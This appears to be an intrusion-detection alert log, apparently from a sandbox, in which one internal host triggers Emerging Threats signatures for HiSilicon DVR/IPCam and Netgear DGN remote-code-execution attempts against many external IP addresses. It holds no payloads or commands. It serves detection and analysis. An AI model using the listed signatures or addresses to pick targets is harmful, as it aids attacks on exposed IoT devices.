05/16/24-16:39:16.582440	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53648	9530	192.168.2.23	175.90.241.160
05/16/24-16:38:50.053096	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58962	9530	192.168.2.23	169.100.20.107
05/16/24-16:38:50.053096	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58962	9530	192.168.2.23	169.100.20.107
05/16/24-16:39:16.582440	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53648	9530	192.168.2.23	175.90.241.160
05/16/24-16:39:03.260937	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58296	9530	192.168.2.23	175.136.141.163
05/16/24-16:39:03.260937	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58296	9530	192.168.2.23	175.136.141.163
05/16/24-16:39:16.600105	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45178	9530	192.168.2.23	90.148.239.182
05/16/24-16:39:16.600105	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45178	9530	192.168.2.23	90.148.239.182
05/16/24-16:39:16.611322	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34850	9530	192.168.2.23	176.178.111.147
05/16/24-16:39:16.611322	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34850	9530	192.168.2.23	176.178.111.147
05/16/24-16:38:57.303928	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44406	9530	192.168.2.23	93.216.118.18
05/16/24-16:38:57.303928	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44406	9530	192.168.2.23	93.216.118.18
05/16/24-16:38:53.066952	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37264	9530	192.168.2.23	147.203.194.110
05/16/24-16:38:53.066952	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37264	9530	192.168.2.23	147.203.194.110
05/16/24-16:38:55.175132	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35798	9530	192.168.2.23	5.89.190.74
05/16/24-16:38:59.587438	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40806	9530	192.168.2.23	54.57.130.165
05/16/24-16:38:55.175132	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35798	9530	192.168.2.23	5.89.190.74
05/16/24-16:38:59.587438	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40806	9530	192.168.2.23	54.57.130.165
05/16/24-16:38:57.447008	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55994	9530	192.168.2.23	138.68.5.246
05/16/24-16:38:57.447008	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55994	9530	192.168.2.23	138.68.5.246
05/16/24-16:39:05.678460	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38338	9530	192.168.2.23	61.246.110.240
05/16/24-16:39:05.678460	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38338	9530	192.168.2.23	61.246.110.240
05/16/24-16:39:12.295439	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58386	9530	192.168.2.23	86.145.158.211
05/16/24-16:39:12.295439	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58386	9530	192.168.2.23	86.145.158.211
05/16/24-16:39:16.585504	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59200	9530	192.168.2.23	174.48.158.84
05/16/24-16:39:16.585504	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59200	9530	192.168.2.23	174.48.158.84
05/16/24-16:39:02.744303	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43948	9530	192.168.2.23	201.58.57.64
05/16/24-16:38:53.069485	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59590	9530	192.168.2.23	40.77.3.51
05/16/24-16:38:53.069485	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59590	9530	192.168.2.23	40.77.3.51
05/16/24-16:39:02.744303	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43948	9530	192.168.2.23	201.58.57.64
05/16/24-16:39:03.281237	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57966	9530	192.168.2.23	24.85.166.139
05/16/24-16:39:03.281237	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57966	9530	192.168.2.23	24.85.166.139
05/16/24-16:39:02.763319	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45960	9530	192.168.2.23	111.86.134.188
05/16/24-16:39:02.763319	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45960	9530	192.168.2.23	111.86.134.188
05/16/24-16:39:02.726986	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44730	9530	192.168.2.23	77.14.94.150
05/16/24-16:39:02.726986	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44730	9530	192.168.2.23	77.14.94.150
05/16/24-16:38:55.213097	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59456	9530	192.168.2.23	79.191.127.238
05/16/24-16:38:55.213097	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59456	9530	192.168.2.23	79.191.127.238
05/16/24-16:38:53.100367	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56344	9530	192.168.2.23	155.65.177.237
05/16/24-16:39:02.748337	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36356	9530	192.168.2.23	217.185.249.1
05/16/24-16:38:53.100367	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56344	9530	192.168.2.23	155.65.177.237
05/16/24-16:39:02.748337	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36356	9530	192.168.2.23	217.185.249.1
05/16/24-16:39:01.467583	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	48866	80	192.168.2.23	194.69.245.86
05/16/24-16:38:59.588203	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43678	9530	192.168.2.23	157.101.48.25
05/16/24-16:38:59.588203	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43678	9530	192.168.2.23	157.101.48.25
05/16/24-16:38:55.212351	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44444	9530	192.168.2.23	195.231.40.52
05/16/24-16:38:53.011530	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43624	9530	192.168.2.23	86.120.86.249
05/16/24-16:38:53.011530	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43624	9530	192.168.2.23	86.120.86.249
05/16/24-16:38:59.520089	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42220	9530	192.168.2.23	42.28.173.209
05/16/24-16:38:50.081753	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37334	9530	192.168.2.23	87.105.179.253
05/16/24-16:38:50.081753	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37334	9530	192.168.2.23	87.105.179.253
05/16/24-16:39:16.576791	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48564	9530	192.168.2.23	51.146.167.93
05/16/24-16:38:59.520089	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42220	9530	192.168.2.23	42.28.173.209
05/16/24-16:39:16.576791	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48564	9530	192.168.2.23	51.146.167.93
05/16/24-16:39:08.124486	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54712	9530	192.168.2.23	78.127.240.159
05/16/24-16:39:16.580487	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49132	9530	192.168.2.23	131.72.200.75
05/16/24-16:38:55.196494	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48706	9530	192.168.2.23	95.127.203.75
05/16/24-16:39:08.124486	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54712	9530	192.168.2.23	78.127.240.159
05/16/24-16:39:16.580487	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49132	9530	192.168.2.23	131.72.200.75
05/16/24-16:38:55.196494	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48706	9530	192.168.2.23	95.127.203.75
05/16/24-16:39:08.127167	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40334	9530	192.168.2.23	172.207.148.184
05/16/24-16:39:08.127167	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40334	9530	192.168.2.23	172.207.148.184
05/16/24-16:38:57.448054	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37424	9530	192.168.2.23	12.7.47.151
05/16/24-16:38:57.448054	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37424	9530	192.168.2.23	12.7.47.151
05/16/24-16:39:03.263613	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40454	9530	192.168.2.23	130.164.169.197
05/16/24-16:39:05.699889	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47922	9530	192.168.2.23	32.158.111.111
05/16/24-16:39:03.263613	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40454	9530	192.168.2.23	130.164.169.197
05/16/24-16:39:05.699889	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47922	9530	192.168.2.23	32.158.111.111
05/16/24-16:39:08.136458	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34506	9530	192.168.2.23	181.107.252.46
05/16/24-16:39:08.136458	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34506	9530	192.168.2.23	181.107.252.46
05/16/24-16:39:08.125339	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46658	9530	192.168.2.23	212.202.117.150
05/16/24-16:39:08.125339	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46658	9530	192.168.2.23	212.202.117.150
05/16/24-16:39:16.602155	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43664	9530	192.168.2.23	43.9.140.121
05/16/24-16:39:16.602155	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43664	9530	192.168.2.23	43.9.140.121
05/16/24-16:39:08.123599	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45004	9530	192.168.2.23	91.38.84.119
05/16/24-16:39:08.123599	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45004	9530	192.168.2.23	91.38.84.119
05/16/24-16:38:49.277196	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	49912	80	192.168.2.23	213.47.195.110
05/16/24-16:39:12.295328	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47702	9530	192.168.2.23	105.34.38.190
05/16/24-16:38:59.602373	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49596	9530	192.168.2.23	65.39.28.234
05/16/24-16:38:59.602373	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49596	9530	192.168.2.23	65.39.28.234
05/16/24-16:39:12.295328	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47702	9530	192.168.2.23	105.34.38.190
05/16/24-16:38:57.425728	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49226	9530	192.168.2.23	85.43.134.42
05/16/24-16:39:16.582512	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33158	9530	192.168.2.23	25.243.77.234
05/16/24-16:38:57.425728	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49226	9530	192.168.2.23	85.43.134.42
05/16/24-16:39:16.582512	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33158	9530	192.168.2.23	25.243.77.234
05/16/24-16:39:16.580479	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49616	9530	192.168.2.23	197.173.95.8
05/16/24-16:39:16.580479	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49616	9530	192.168.2.23	197.173.95.8
05/16/24-16:38:50.068974	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50372	9530	192.168.2.23	52.191.59.124
05/16/24-16:39:14.527598	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48350	9530	192.168.2.23	62.82.205.52
05/16/24-16:38:53.098221	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60366	9530	192.168.2.23	90.247.84.244
05/16/24-16:38:53.098221	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60366	9530	192.168.2.23	90.247.84.244
05/16/24-16:38:50.068974	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50372	9530	192.168.2.23	52.191.59.124
05/16/24-16:38:50.069306	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33586	9530	192.168.2.23	207.40.33.122
05/16/24-16:38:50.069306	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33586	9530	192.168.2.23	207.40.33.122
05/16/24-16:39:14.527598	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48350	9530	192.168.2.23	62.82.205.52
05/16/24-16:38:53.011234	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49294	9530	192.168.2.23	52.10.247.21
05/16/24-16:38:53.011234	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49294	9530	192.168.2.23	52.10.247.21
05/16/24-16:38:50.052450	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45496	9530	192.168.2.23	120.74.255.178
05/16/24-16:38:50.052450	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45496	9530	192.168.2.23	120.74.255.178
05/16/24-16:39:12.304207	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56526	9530	192.168.2.23	140.41.152.170
05/16/24-16:39:12.304207	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56526	9530	192.168.2.23	140.41.152.170
05/16/24-16:39:14.520148	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	32992	9530	192.168.2.23	76.39.98.61
05/16/24-16:39:14.520148	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	32992	9530	192.168.2.23	76.39.98.61
05/16/24-16:39:03.280118	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40012	9530	192.168.2.23	50.218.80.137
05/16/24-16:39:03.280118	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40012	9530	192.168.2.23	50.218.80.137
05/16/24-16:39:05.693323	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60544	9530	192.168.2.23	165.6.230.105
05/16/24-16:38:55.226422	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58776	9530	192.168.2.23	110.226.124.198
05/16/24-16:39:05.693323	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60544	9530	192.168.2.23	165.6.230.105
05/16/24-16:38:49.305817	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	37628	80	192.168.2.23	181.188.20.229
05/16/24-16:39:03.280098	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50202	9530	192.168.2.23	58.191.149.203
05/16/24-16:39:16.585501	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48070	9530	192.168.2.23	195.207.146.22
05/16/24-16:39:16.585501	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48070	9530	192.168.2.23	195.207.146.22
05/16/24-16:38:55.226383	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35642	9530	192.168.2.23	177.19.87.240
05/16/24-16:38:55.226383	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35642	9530	192.168.2.23	177.19.87.240
05/16/24-16:38:55.207690	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45070	9530	192.168.2.23	82.219.13.115
05/16/24-16:38:55.207690	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45070	9530	192.168.2.23	82.219.13.115
05/16/24-16:38:57.409864	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60576	9530	192.168.2.23	72.217.241.92
05/16/24-16:38:57.409864	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60576	9530	192.168.2.23	72.217.241.92
05/16/24-16:38:55.176120	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47288	9530	192.168.2.23	145.190.122.207
05/16/24-16:39:03.280098	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50202	9530	192.168.2.23	58.191.149.203
05/16/24-16:38:55.176120	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47288	9530	192.168.2.23	145.190.122.207
05/16/24-16:38:55.226422	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58776	9530	192.168.2.23	110.226.124.198
05/16/24-16:39:05.679553	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46088	9530	192.168.2.23	186.201.169.72
05/16/24-16:39:05.679553	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46088	9530	192.168.2.23	186.201.169.72
05/16/24-16:39:13.656745	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	49390	80	192.168.2.23	72.121.120.109
05/16/24-16:38:59.519316	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50878	9530	192.168.2.23	13.81.168.7
05/16/24-16:38:59.519316	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50878	9530	192.168.2.23	13.81.168.7
05/16/24-16:38:55.210426	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42016	9530	192.168.2.23	64.3.103.7
05/16/24-16:39:05.717211	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42836	9530	192.168.2.23	77.155.154.5
05/16/24-16:38:55.210426	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42016	9530	192.168.2.23	64.3.103.7
05/16/24-16:39:05.717211	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42836	9530	192.168.2.23	77.155.154.5
05/16/24-16:39:12.295401	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58446	9530	192.168.2.23	83.206.3.143
05/16/24-16:39:12.295401	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58446	9530	192.168.2.23	83.206.3.143
05/16/24-16:38:50.063842	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33304	9530	192.168.2.23	210.253.73.232
05/16/24-16:38:50.063842	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33304	9530	192.168.2.23	210.253.73.232
05/16/24-16:38:53.098292	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45616	9530	192.168.2.23	80.197.138.169
05/16/24-16:38:57.429985	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48472	9530	192.168.2.23	140.29.221.234
05/16/24-16:38:53.098292	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45616	9530	192.168.2.23	80.197.138.169
05/16/24-16:38:57.429985	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48472	9530	192.168.2.23	140.29.221.234
05/16/24-16:39:08.146139	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58950	9530	192.168.2.23	125.5.56.248
05/16/24-16:39:08.146139	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58950	9530	192.168.2.23	125.5.56.248
05/16/24-16:39:05.702496	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40362	9530	192.168.2.23	156.254.182.181
05/16/24-16:39:05.702496	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40362	9530	192.168.2.23	156.254.182.181
05/16/24-16:39:03.284749	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51890	9530	192.168.2.23	110.65.93.92
05/16/24-16:39:03.284749	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51890	9530	192.168.2.23	110.65.93.92
05/16/24-16:39:14.493500	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45834	9530	192.168.2.23	152.65.59.223
05/16/24-16:39:14.529783	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41552	9530	192.168.2.23	160.70.200.1
05/16/24-16:39:14.529783	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41552	9530	192.168.2.23	160.70.200.1
05/16/24-16:38:59.557143	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43418	9530	192.168.2.23	105.193.37.147
05/16/24-16:38:59.557143	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43418	9530	192.168.2.23	105.193.37.147
05/16/24-16:39:14.493500	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45834	9530	192.168.2.23	152.65.59.223
05/16/24-16:38:55.177047	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40742	9530	192.168.2.23	32.235.155.188
05/16/24-16:38:55.177047	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40742	9530	192.168.2.23	32.235.155.188
05/16/24-16:38:57.305799	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34252	9530	192.168.2.23	59.202.83.39
05/16/24-16:38:57.305799	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34252	9530	192.168.2.23	59.202.83.39
05/16/24-16:39:12.301054	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46702	9530	192.168.2.23	141.7.108.9
05/16/24-16:39:12.301054	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46702	9530	192.168.2.23	141.7.108.9
05/16/24-16:39:14.494602	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41422	9530	192.168.2.23	185.150.27.0
05/16/24-16:39:14.494602	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41422	9530	192.168.2.23	185.150.27.0
05/16/24-16:38:57.443990	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39072	9530	192.168.2.23	151.141.91.148
05/16/24-16:38:57.443990	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39072	9530	192.168.2.23	151.141.91.148
05/16/24-16:38:55.196595	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39188	9530	192.168.2.23	8.37.6.193
05/16/24-16:38:55.196595	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39188	9530	192.168.2.23	8.37.6.193
05/16/24-16:38:55.201974	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33470	9530	192.168.2.23	181.101.240.57
05/16/24-16:38:55.201974	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33470	9530	192.168.2.23	181.101.240.57
05/16/24-16:39:08.092942	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42122	9530	192.168.2.23	177.48.201.129
05/16/24-16:39:08.092942	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42122	9530	192.168.2.23	177.48.201.129
05/16/24-16:39:12.301249	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41050	9530	192.168.2.23	99.154.139.76
05/16/24-16:38:53.011306	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38554	9530	192.168.2.23	117.108.108.214
05/16/24-16:38:53.011306	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38554	9530	192.168.2.23	117.108.108.214
05/16/24-16:39:12.301249	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41050	9530	192.168.2.23	99.154.139.76
05/16/24-16:39:03.256852	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50690	9530	192.168.2.23	146.40.78.209
05/16/24-16:39:03.256852	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50690	9530	192.168.2.23	146.40.78.209
05/16/24-16:38:59.607511	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38722	9530	192.168.2.23	167.231.184.169
05/16/24-16:38:59.607511	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38722	9530	192.168.2.23	167.231.184.169
